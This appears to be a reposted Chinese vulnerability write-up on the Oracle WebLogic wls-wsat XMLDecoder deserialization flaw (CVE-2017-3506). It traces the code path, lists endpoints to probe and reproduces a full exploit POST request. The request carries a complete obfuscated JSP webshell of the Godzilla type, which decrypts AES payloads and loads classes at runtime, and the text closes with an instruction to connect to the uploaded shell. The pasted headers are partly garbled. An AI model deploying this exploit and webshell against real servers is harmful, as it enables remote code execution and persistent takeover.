漏洞原理
在/wls-wsat/CoordinatorPortType(POST)处构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。
分析漏洞调用链
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter
首先看weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法
第43行,将localHeader1变量带入到readHeaderOld()方法中。localHeader1变量由第41行定义,其值为work:WorkContext 标签包裹的数据。
跟进readHeaderOld()方法(weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld)
在106行,有一句new WorkContextXmlInputAdapter(new ByteArrayInputStream(localByteArrayOutputStream.toByteArray())),创建了WorkContextXmlInputAdapter()对象(即对WorkContextXmlInputAdapter类进行了实例化),带入构造函数的参数即为传入的XML格式序列化数据。
跟进至WorkContextXmlInputAdapter类中(weblogic.wsee.workarea.WorkContextXmlInputAdapter )
第19行,此处通过XMLDecoder反序列化,输入内容可控,故漏洞产生。
漏洞复现
1. 验证是否存在wls-wsat组件
访问以下目录中的一种,有回显如下图可以判断wls-wsat组件存在:
/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11 |
访问
http://192.168.1.137:7001/wls-wsat/CoordinatorPortType
2.在当前页面抓包之后,添加下面请求包,在标签之间分别写存放 jsp 的路径和要写入的 shell。
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.1.137:7001 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/hAccept-Encoding: gzip, deflate Accept: */* Accept-Language: enAs User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 3171 <%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){} %> ]]> |
访问:哥斯拉连接上传的shell文件
原文始发于微信公众号(智检安全):XMLDecoder反序列化漏洞(CVE-2017-3506)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论